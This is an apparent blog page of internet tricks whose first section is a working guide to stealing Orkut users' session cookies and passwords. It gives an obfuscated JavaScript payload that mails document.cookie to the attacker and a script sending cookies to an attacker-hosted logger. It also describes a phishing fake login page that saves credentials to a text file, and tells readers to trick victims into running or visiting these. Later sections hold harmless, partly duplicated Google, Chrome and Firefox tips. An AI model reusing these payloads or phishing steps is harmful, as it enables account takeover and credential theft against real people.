1]what are cookies?
A:-Cookies are text messages/files given to a web browser by web servers. The main purpose of a cookie is to identify users and possibly prepare customized webpage or to save site logins information for you. When you enter a web site using cookies, you may be asked to fill out a form providing such information as your name;
email address etc. This information is packaged into a cookie and sent to your web browser, which store it for your later use.The next time you go to the same web site,your browser will send the cookie to the web server.This message is then sent back to the server each time the browser requests the page from the server.
A web server has no memory so the hosted website you are visiting transfers a cookie file of the browser stores on your computers hard disk so that the web site can remember who you are and your preferences.This message exchange allows the web servers to use this information to present you with customized Web pages
Types of Cookies:
[a]session cookie:
Its also called a transient cookie.Its a cookie that is erased when you close the Web browser.The sessional cookies are stored in temporary memory and are not retained after the browser is closed. cookies do not collect the information on your computers. They typically will store information in the forms of the session identification that does not personally identify the user.
[b]persistent cookie:
Its also called a permanent cookie or cookie, a cookie that is stored on your hard drive until it expires (persistent cookies are set with expiration dates)or until you delete a cookie.Persistent cookies are used to collect the information for identifying information about the user,such as Websurfing behaviors/preferences for the specific Web site.
Orkut cookie stealing script
Requirements:-
1]Firefox
2]Add and edit cookie addon[cookie editor]:- https://addons.mozilla.org/firefox/addon/573
Instructions:
1]First of all make a fake account for better understanding .Now we will hack the fake profile from the real profile.
2]You will need GID of fake profile/victim profile so use the following cookie stealing script.
3]In order to get the GID,Go to your fake account/victims homepage and paste this script in the address bar and hit enter You will see the gid in the box.
Code:
javascript:sri=document.all[0].innerHTML.match(/[0-9]*.jpg\)/g);sri=parseInt(sri);alert(sri);void(0)
Other ways to find GID:
Method 2
->Go to any profile
->Right click and select view page source
->Now press Ctrl+F[Find] and type in it "background-image"
->It will point out to this line which resembles the below line
background-image: url(http://img3.orkut.com/images/medium/1234567/88358457.jpg);
The red part is your Gid
Method 3
Go to victims home page/ fake profile and then right click on display picture and choose copy image location.You will then get the a URL given below which exactly resembles the one you got
http://img3.orkut.com/images/medium/1234567/88358457.jpg
The red part is your Gid
Now suppose your GID is 2541021 then your cookie stealing script will be like this
Code:
java script:orkut=replyForm;orkut.toUserId.value=2541021;orkut.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));orkut.action=Scrapbook.aspx?Action.submit;orkut.submit();i=0;a=document.links;setInterval(i++;a[i %document.links.length].style.color=c[i%c.length],10);void(0);
Now as you can see those numbers in the script? Let's see what they mean as per the ANSCII codes:
100,D
111,O
9 9, C
117,U
109,M
101,E
110,N
116,T
4 6, .
9 9, C
111,O
111,O
107,K
105,I
101,E
Still remember the example from my above post, this is how you read the content of a cookie: vartheCookie=""+document.cookie;
eval() is a function, which will execute represented by the string,which is in this case masked behind the numbers.
Quite clever, but the first time I have seen tricks like this. I can already imagine how the orkut solved the first problem previously.They just forbid the string "document.cookie" in users code which solved the problem at first,but obviously that doesn't solve this issue.
So again, this is not a bug within Firefox, that it is a normal Javascript code and Firefox executes it just as the way it is expected to be executed.
If there is a security bug somewhere in ., it is either in the specifications of the Javascript or at the orkut website.
Ok now
Scrap this to victim and tell him/her to run it in the address bar, as soon as he/she runs the script you will get a cookie info into your fake account.
Now go to the fake account and copy the cookie from "ORKUTPREF=ID=.."onwards till end.
The victim's cookie which will come to your Scrapbook will look like this.
__utmz=85cn=(direct)|utmcsr=(direct)|utmcmd=(none); orkut_state=ORKUTPREF=ID=407231863351044LNG=UI6qeIbfO5hrrk=:; TZ=-330; __utma=575.1909575
Now go to
Tools>>cookie editor>> See the orkut+state Id and click on edit
Go to Tools-->Cookies Editor ---> select Add
http://www.orkut.co.in/AlbumZoom.aspx?uid=13758045739414020276&pid=1218191708969&aid=1
Fill Name : orkut_state
Contents : Fill in the cookies here
Host : .www.orkut.co.in
Then click save
Paste the whole cookie you copied, in the content.Click on save and close it.Just refresh it.Now you will be in victims account.You can notice that you have logged in victims id after you click on refresh.
Other ways to obtain cookies:
1]Using Cookie Monster
You can also use a cookie monster and make the ultimate cookie exploit to hack Orkut
Lets start and Make the ultimate cookie exploit to hack Orkut
1.Go to Lenhost.info . Make a free Hosting account .
2.It will mail you all the details as ftp / My Sql username and password
3. Download Install.php from here
http://rapidshare.com/files/53318259/install.php
4. Upload this file on the server and run .
5. It will Open as : a Installer
6. Fill the Coloums :
Database : its something like username_name
For this go to mysql and make a database there .
Password : Your Password
User : sent to u by mail
Table : Give any name in this column
Server : This is found in mysql
Admin Password : Provide a pass to access admin area
Once you are done select Submit .
7. Next page in the end show u some links get the 4th link
8.javascript:document.location='http://orkut.lenhost.info/getmonster.php?cookie='+encodeURIComponent(document.cookie);void(0)
Replace My link wid urs in the above javascript.
9. Done send it to your victim when victim runs this his cookies gets stolen
10. Receiving cookies open admin area http://name.lenhost.info/logmonster.php it asks for the pass login with the pass you provided during installation.
2]Using Cookie Stealer In Fake Page
Use This Run.php File In Fake Page
http://www.freeuploading.com/files/_5JDnx1/run_php.php
And The Cookie And Login Details Will BE Saved In ld.txt
Copy the whole source code of the Login Page Of Orkut.Paste In Notepad
Search for "https://www.google.com/accounts/ServiceLoginAuth?service=orkut" in the fake login page and Replace with Run.php
And Change Method From File to get the Login details
Now Upload This two files to x10hosting server as its best
and send the link to victim
His Cookie And Login Details Will Saved In
http://ur-username.x10hosting.com/ld.txt
means in ld.txt
Upload google_transperant.gif also which u can save from login page ///
For Fake login pages Download This
http://www.freeuploading.com/files/BgtnoVK/cookie_rar.php
Now Just Upload This 3 files in your account of x10hosting
Now Send This type of link to victim
http://example.x10hosting.com/orkut.html
ok when he will do login in this page u will get the details means cookie and login detail (username and password)
in this file
http://example.x10hosting.com/ld.txt
Enjoy !!!
Note:You can only login into others accounts using the cookies.You can't change the password/perform transfer of ownership of communities on orkut because they require old password to do so.
Wednesday, July 22, 2009
Trick to see how many gals/guys are there in anybody's Orkut Friends List
1)Go to your friends profile
2)Under the Friends click view all
3)Now you can see all friends of that person
4)In the address bar (place where you type website names) you can see uid followed by a number, at the end of the number add
&q=female For seeing number of girls and press enter.
&q=male For seeing number of guys and press enter.
2)Under the Friends click view all
3)Now you can see all friends of that person
4)In the address bar (place where you type website names) you can see uid followed by a number, at the end of the number add
&q=female For seeing number of girls and press enter.
&q=male For seeing number of guys and press enter.
Cool Things You Can Do With Google
No one would argue the fact that Google is one of the most useful sites on the Internet. Unfortunately, most people only use about 3% of its power.
Smart Google users, on the other hand, know how to turn Google into a quick calculator, translate foreign sites, create their own customized search engine, and search for movie reviews and stock quotes with special search queries. In this article, we’ll show you how to do all of that and more.
Turn Google Into a Quick Calculator
Google enables you to perform a number of math operations including addition, subtraction, multiplication, division, and percentages.
All you have to do is use some calculator operators, which include:
+ (addition)
- (subtraction)
* (multiplication)
/ (division)
% of (percentage of)
^ (raise to a power)
Here a few example queries to get you started.
23+34
120-43
36*20
27/3
36% of 134
3^9 (3 to the 9th power)
Take Notes while Browsing the Web with Google Notebook.
This note taking application allows you to organize all of your online research quickly and easily. With Google Notebook, you can clip text, images, and links from web pages while browsing. Your notes and clips are saved to an online “notebook” that you can access from any computer, and may also be shared with others. So whether you’re planning a vacation or writing a school paper, Google Notebook makes it easy. To get started, go to Google Notebook’s main site.
Translate Foreign Sites
A large portion of the web sites on the Internet are not in English. This means that you’re missing out on a big portion of the Web. Fortunately, Google has provided a solution.
First, translate the word you want to search for into the desired language. You can do this at BabelFish. Next, go to Google, enter your search query, and press enter.
On the results page, you should see a link that says, “Translate this page” to the right side of the search results. Click on that link and Google will automatically translate the page to English for you.
I have used just this one tip to discover a number of great new sites that I never would have had access to if it weren’t for Google’s translation tools.
Looking for Movie Reviews?
Google’s got you covered. Simply go to http://www.google.com/movies and type in your favorite movie. Here’s an example of my most recent search for Shrek the Third:
Google also has lots of specialized search portals catered to technology enthusiasts.
Are you a Mac junkie? Google will allow you to search for all things related to Mac and Apple at http://www.google.com/mac.
Search for all things Microsoft at http://www.google.com/microsoft.
Not a Microsoft fan? Google’s got a special Linux search engine waiting for you at http://www.google.com/linux.
Forget the Weather Channel.
Who needs television when you’ve got Google? To get your local weather, simply go to http://www.google.com/ and type in weather:”areacode”. Fill in your area code and you will be given a 4-day weather forecast and today’s temperature, wind, and humidity.
Looking For a Stock Quote?
Find it quickly at Google by typing in: “stocks:msft”. This search query will give you a quick snapshot of Microsoft’s stock performance. To find other stock information, just change the stock symbol.
Create your own Customized Google Search Engine.
Google is allowing everyone to join in the fun with Google Custom Search Engines. This Google product allows anyone to create their very own search engine.
You get to choose the sites, invite others to contribute to your search engine, and even customize the look and feel to suit your preferences.
You could make your very own customized search for jobs, videos, digital camera reviews, and more. The possibilities are endless.
Start building your own search engine at http://google.com/coop/cse/.
Hidden Google Pages
There are also a number of hidden pages on Google that you’ve probably never seen before. Here are just a few of them:
Google Moms - A tribute to Google moms for Mother’s Day.
Google Dance 2004 , Google Dance 2005 and Google Dance 2006. Yes, it’s hard to believe, but Google has their very own dance. They’re packed with plenty of food, drinks, games, product demos, and a hotspot where you can meet the engineers.
Google Holiday Logos - About the only thing that spices up the Google homepage are their cool logos. They’ve dedicated a special page to commemorate all of the holiday logos dating back to 1999.
Dilbert and the Google Logo - Check out the first and last Dilbert cartoon on Google.
Get the local time of any place
Not many people know that Google can also be used to get the local time of any place. To get the local time of the place of your choice follow the steps mentioned below.
1.) Point your browser to www.google.com
2.) In the search box type time. For e.g. to get the current time of Bangalore type, time Bangalore
3.) The search result has the first entry as the local time of the place you entered.
The Future of Google
Google always has new ideas brewing in the Google Labs. Everything from Experimental Search to Google Voice Local Search. Find out what they’re up to at http://labs.google.com/. Play around with their prototypes and then send in some feedback. Who knows, maybe we’ll see your ideas in the next Google tool.
Smart Google users, on the other hand, know how to turn Google into a quick calculator, translate foreign sites, create their own customized search engine, and search for movie reviews and stock quotes with special search queries. In this article, we’ll show you how to do all of that and more.
Turn Google Into a Quick Calculator
Google enables you to perform a number of math operations including addition, subtraction, multiplication, division, and percentages.
All you have to do is use some calculator operators, which include:
+ (addition)
- (subtraction)
* (multiplication)
/ (division)
% of (percentage of)
^ (raise to a power)
Here a few example queries to get you started.
23+34
120-43
36*20
27/3
36% of 134
3^9 (3 to the 9th power)
Take Notes while Browsing the Web with Google Notebook.
This note taking application allows you to organize all of your online research quickly and easily. With Google Notebook, you can clip text, images, and links from web pages while browsing. Your notes and clips are saved to an online “notebook” that you can access from any computer, and may also be shared with others. So whether you’re planning a vacation or writing a school paper, Google Notebook makes it easy. To get started, go to Google Notebook’s main site.
Translate Foreign Sites
A large portion of the web sites on the Internet are not in English. This means that you’re missing out on a big portion of the Web. Fortunately, Google has provided a solution.
First, translate the word you want to search for into the desired language. You can do this at BabelFish. Next, go to Google, enter your search query, and press enter.
On the results page, you should see a link that says, “Translate this page” to the right side of the search results. Click on that link and Google will automatically translate the page to English for you.
I have used just this one tip to discover a number of great new sites that I never would have had access to if it weren’t for Google’s translation tools.
Looking for Movie Reviews?
Google’s got you covered. Simply go to http://www.google.com/movies and type in your favorite movie. Here’s an example of my most recent search for Shrek the Third:
Google also has lots of specialized search portals catered to technology enthusiasts.
Are you a Mac junkie? Google will allow you to search for all things related to Mac and Apple at http://www.google.com/mac.
Search for all things Microsoft at http://www.google.com/microsoft.
Not a Microsoft fan? Google’s got a special Linux search engine waiting for you at http://www.google.com/linux.
Forget the Weather Channel.
Who needs television when you’ve got Google? To get your local weather, simply go to http://www.google.com/ and type in weather:”areacode”. Fill in your area code and you will be given a 4-day weather forecast and today’s temperature, wind, and humidity.
Looking For a Stock Quote?
Find it quickly at Google by typing in: “stocks:msft”. This search query will give you a quick snapshot of Microsoft’s stock performance. To find other stock information, just change the stock symbol.
Create your own Customized Google Search Engine.
Google is allowing everyone to join in the fun with Google Custom Search Engines. This Google product allows anyone to create their very own search engine.
You get to choose the sites, invite others to contribute to your search engine, and even customize the look and feel to suit your preferences.
You could make your very own customized search for jobs, videos, digital camera reviews, and more. The possibilities are endless.
Start building your own search engine at http://google.com/coop/cse/.
Hidden Google Pages
There are also a number of hidden pages on Google that you’ve probably never seen before. Here are just a few of them:
Google Moms - A tribute to Google moms for Mother’s Day.
Google Dance 2004 , Google Dance 2005 and Google Dance 2006. Yes, it’s hard to believe, but Google has their very own dance. They’re packed with plenty of food, drinks, games, product demos, and a hotspot where you can meet the engineers.
Google Holiday Logos - About the only thing that spices up the Google homepage are their cool logos. They’ve dedicated a special page to commemorate all of the holiday logos dating back to 1999.
Dilbert and the Google Logo - Check out the first and last Dilbert cartoon on Google.
Get the local time of any place
Not many people know that Google can also be used to get the local time of any place. To get the local time of the place of your choice follow the steps mentioned below.
1.) Point your browser to www.google.com
2.) In the search box type time
3.) The search result has the first entry as the local time of the place you entered.
The Future of Google
Google always has new ideas brewing in the Google Labs. Everything from Experimental Search to Google Voice Local Search. Find out what they’re up to at http://labs.google.com/. Play around with their prototypes and then send in some feedback. Who knows, maybe we’ll see your ideas in the next Google tool.
Login with multiple ids in google, yahoo, orkut
Do you maintain multiple Google Accounts? Solve that headache of logging in and out different accounts in Firefox by this trick. I feel life can get complicated if you operate more than one Google Account and have associated different Google services with different accounts.
For example I have two Gmail ID's. One tamag[at]gmail for my work and another gautam[at]gmail for personal use. I am a big fan of Firefox and each time I need to read mails, I am annoyed of logging in and out for different id's.
Well this trick has done wonders for me, Hope it works for you to.
step 0 :
- Download Firefox for more efficiency(optional).
Step 1:
- Open system "properties"(by right clicking my computer).
- Choose tab "advanced", click to "environment variables" button.
- In "system variables" section, click "new".
- Type this information to each textbox.
Step 2:
variable name: moz_no_remote (should be all small letter).
variable value: 1
Step 3:
- Open firefox icon’s properties (from desktop and quick launch).
- Add extension -p to command line(like “c:\program files\mozilla firefox\firefox.exe” -p).
- Press ok.
When you will open firefox it will prompt for profile selection create a profile,open firefox login to orkut open once more use another profile login.
For example I have two Gmail ID's. One tamag[at]gmail for my work and another gautam[at]gmail for personal use. I am a big fan of Firefox and each time I need to read mails, I am annoyed of logging in and out for different id's.
Well this trick has done wonders for me, Hope it works for you to.
step 0 :
- Download Firefox for more efficiency(optional).
Step 1:
- Open system "properties"(by right clicking my computer).
- Choose tab "advanced", click to "environment variables" button.
- In "system variables" section, click "new".
- Type this information to each textbox.
Step 2:
variable name: moz_no_remote (should be all small letter).
variable value: 1
Step 3:
- Open firefox icon’s properties (from desktop and quick launch).
- Add extension -p to command line(like “c:\program files\mozilla firefox\firefox.exe” -p).
- Press ok.
When you will open firefox it will prompt for profile selection create a profile,open firefox login to orkut open once more use another profile login.
Great tip for MP3 searching on google
Go to google copy and paste in
?intitle:index.of? mp3
and after mp3 put in an artist or album or whatever and hit enter… what you get is lists of downloadable mp3s
eg:
?intitle:index.of? mp3 shakira
enjoy downloading…………
Make Orkut Free From Google Ads
Internet is a vast place for people like us who like to surf from one site to another. Social networking sites are just one more place to surf. These sites such as Orkut, MySpace, Hi5 or FaceBook have penetrated so deep into our lives that the moment we start surfing, we logon to these sites first.
Orkut is one of social networking sites owned by Google. Though it's only popular in Brazil and India, but for some reason, Alexa says Orkut is the 9th most visited site in Ireland.
One thing which I have been annoyed of lately is the Google Ads shown by Google in the community homepage as this one.
But applying this trick you can free yourself from these ads in a cool place like Orkut.
Trick:
First and foremost requirement of this trick is that you should be using Mozilla Firefox. This Open Source piece of software is best software I've ever came across.
Fire your Firefox and proceed to this addon link -> AdBlock Plus. According to their developers
"Ever been annoyed by all those ads and banners on the internet that often take longer to download than everything else on the page? Install Adblock Plus now and get rid of them."
Click "Add to Firefox" and install the addon for your browser. Next step is restart your browser. Now everyone must be thinking how this can be called a trick when it comes to just installing a simple addon. Wait!!!
Whenever you want to block an ad, just right click it and click "AdBlock Image". But clicking all the ads inside Orkut is an impossible task because for that you have to search each and every community. But ever noticed that what is common with all these ads, their command format is
http://www.orkut.com/AdsIframe.aspx?xxxxxxx
This page is responsible for generating the Adsense code and placement of ads on pages.
Follow the next step and block all the Google ads. Right click any Google ads and click "Adblock Image". A box will popup and just enter "http://www.orkut.co.in/AdsIframe.aspx" . Bingo !!! You will blocked that main page which generates the ads.
Orkut is one of social networking sites owned by Google. Though it's only popular in Brazil and India, but for some reason, Alexa says Orkut is the 9th most visited site in Ireland.
One thing which I have been annoyed of lately is the Google Ads shown by Google in the community homepage as this one.
But applying this trick you can free yourself from these ads in a cool place like Orkut.
Trick:
First and foremost requirement of this trick is that you should be using Mozilla Firefox. This Open Source piece of software is best software I've ever came across.
Fire your Firefox and proceed to this addon link -> AdBlock Plus. According to their developers
"Ever been annoyed by all those ads and banners on the internet that often take longer to download than everything else on the page? Install Adblock Plus now and get rid of them."
Click "Add to Firefox" and install the addon for your browser. Next step is restart your browser. Now everyone must be thinking how this can be called a trick when it comes to just installing a simple addon. Wait!!!
Whenever you want to block an ad, just right click it and click "AdBlock Image". But clicking all the ads inside Orkut is an impossible task because for that you have to search each and every community. But ever noticed that what is common with all these ads, their command format is
http://www.orkut.com/AdsIframe.aspx?xxxxxxx
This page is responsible for generating the Adsense code and placement of ads on pages.
Follow the next step and block all the Google ads. Right click any Google ads and click "Adblock Image". A box will popup and just enter "http://www.orkut.co.in/AdsIframe.aspx" . Bingo !!! You will blocked that main page which generates the ads.
Google Chrome Cool Stuff
As you know the new Google Chrome is out. If you had a chance to try it out you should know how fast, simple and minimal it is. Google Chrome is an excellent software and apparently it looks like it doesn’t need any tweaks to improve its already good performance. Anyway, for those of you guys who are always looking for good stuff to improve your software beyond its limit, here is a list of useful tricks or hacks:
1. Control + Shift + N : Opens the famous “incognito” windows. Thanks to it you will be able to surf without leaving any footprint on your PC (cookes, history etc.)
2. You can also open a website in an “incognito” window by right-clicking on a link and selecting: Open link in incognito window.
3. Alt + Home : Loads your Google Chrome home page along with thumbnails of your most visited sites.
4. Control + T : Opens a new Tab.
5. Control + Shift + T : Opens your most recently closed tab. Press this key combination again to open the tab closed before the one you just opened.
6. Control + 1, Control + 2, Control + 3, etc. : Lets you jump to different tabs.
7. Control + Tabs : Lets you open tabs in order.
8. As in Fireofx 3, you can drag a link onto a tab to it , or drop it between two tabs to open a new tab.
9. Control +B : Hides or shows the bookmark’s bar.
10. Control + H : Opens the History page.
11. Control + J : Opens the download page.
12. To delete an item from the download page, right-click on the selected item and click Remove.
13. Right-click the top of the browser window, select Task manager to find out how much memory tabs and plug-ins are taking from your computer to work. Select one of them and click End process to stop it running.
14. About:plugins (write it in the address bar): Lets you see what plug-in you are using.
15. About:crash (write it in the address bar): Lets you see what a crashed tab looks like.
16. To know more information about Google Chrome you can also type in the address bar the following commands: about:stats, about:network, about:histograms, about:memory, about:cache, about:dns, about:internets.
17. To delete all of your data stored into Google Chrome: click the Tools icon and select Clear browsing data…
18. Shift + Escape: Lets you bring up the Google Chrome Task manager.
1. Control + Shift + N : Opens the famous “incognito” windows. Thanks to it you will be able to surf without leaving any footprint on your PC (cookes, history etc.)
2. You can also open a website in an “incognito” window by right-clicking on a link and selecting: Open link in incognito window.
3. Alt + Home : Loads your Google Chrome home page along with thumbnails of your most visited sites.
4. Control + T : Opens a new Tab.
5. Control + Shift + T : Opens your most recently closed tab. Press this key combination again to open the tab closed before the one you just opened.
6. Control + 1, Control + 2, Control + 3, etc. : Lets you jump to different tabs.
7. Control + Tabs : Lets you open tabs in order.
8. As in Fireofx 3, you can drag a link onto a tab to it , or drop it between two tabs to open a new tab.
9. Control +B : Hides or shows the bookmark’s bar.
10. Control + H : Opens the History page.
11. Control + J : Opens the download page.
12. To delete an item from the download page, right-click on the selected item and click Remove.
13. Right-click the top of the browser window, select Task manager to find out how much memory tabs and plug-ins are taking from your computer to work. Select one of them and click End process to stop it running.
14. About:plugins (write it in the address bar): Lets you see what plug-in you are using.
15. About:crash (write it in the address bar): Lets you see what a crashed tab looks like.
16. To know more information about Google Chrome you can also type in the address bar the following commands: about:stats, about:network, about:histograms, about:memory, about:cache, about:dns, about:internets.
17. To delete all of your data stored into Google Chrome: click the Tools icon and select Clear browsing data…
18. Shift + Escape: Lets you bring up the Google Chrome Task manager.
Subscribe to:
Posts (Atom)